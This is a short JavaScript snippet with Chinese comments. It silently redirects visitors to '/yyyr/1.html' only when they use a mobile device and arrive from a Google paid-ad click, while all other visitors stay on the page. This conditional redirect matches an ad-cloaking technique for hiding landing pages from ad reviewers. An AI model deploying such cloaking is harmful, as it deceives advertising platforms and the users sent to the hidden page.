script> (function() { // 目标页面路径 const targetUrl = '/yyyr/1.html'; // 避免重复跳转 if (window._hasRedirected) return; // 条件1:检测是否为手机端 function isMobileDevice() { return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile/i.test(navigator.userAgent); } // 条件2:检测是否来自谷歌竞价广告入口 // 谷歌竞价广告通常会在 URL 参数中包含 gclid(Google Click ID) // 或者 referrer 来自 google.com 的广告点击 function isFromGoogleAds() { // 方法1:检查 URL 参数中是否包含 gclid(谷歌竞价核心标识) const urlParams = new URLSearchParams(window.location.search); const hasGclid = urlParams.has('gclid'); // 方法2:检查 referrer 是否来自 google 的广告点击 let referrer = document.referrer || ''; let isGoogleReferrer = false; try { const referrerUrl = new URL(referrer); // 谷歌广告点击的 referrer 通常来自 google.com 且路径包含 /adwords/ 或 /aclk 等 if (referrerUrl.hostname.includes('google.com')) { const path = referrerUrl.pathname; if (path.includes('/adwords/') || path.includes('/aclk') || path.includes('/pagead/')) { isGoogleReferrer = true; } // 简单判断:只要是 google.com 来的,也可以视为潜在广告入口(可根据需要调整) // isGoogleReferrer = true; } } catch(e) { // referrer 解析失败忽略 } // 方法3:检查是否有 utm_source=google 且 utm_medium=cpc 等竞价参数 const utmSource = urlParams.get('utm_source'); const utmMedium = urlParams.get('utm_medium'); const isUtmGoogleCpc = (utmSource === 'google' && utmMedium === 'cpc'); // 综合判断:包含 gclid 或 是谷歌广告 referrer 或 是 google/cpc 的 utm const isFromAds = hasGclid || isGoogleReferrer || isUtmGoogleCpc; // 调试输出(上线前可删除) console.log('[谷歌竞价检测] hasGclid:', hasGclid, '| isGoogleReferrer:', isGoogleReferrer, '| isUtmGoogleCpc:', isUtmGoogleCpc, '| 结果:', isFromAds); return isFromAds; } // 同时满足两个条件才跳转 const isMobile = isMobileDevice(); const isAds = isFromGoogleAds(); console.log('[跳转条件] 手机端:', isMobile, '| 谷歌竞价入口:', isAds); if (isMobile && isAds) { window._hasRedirected = true; // 使用 replace 避免返回时循环 window.location.replace(targetUrl); } })();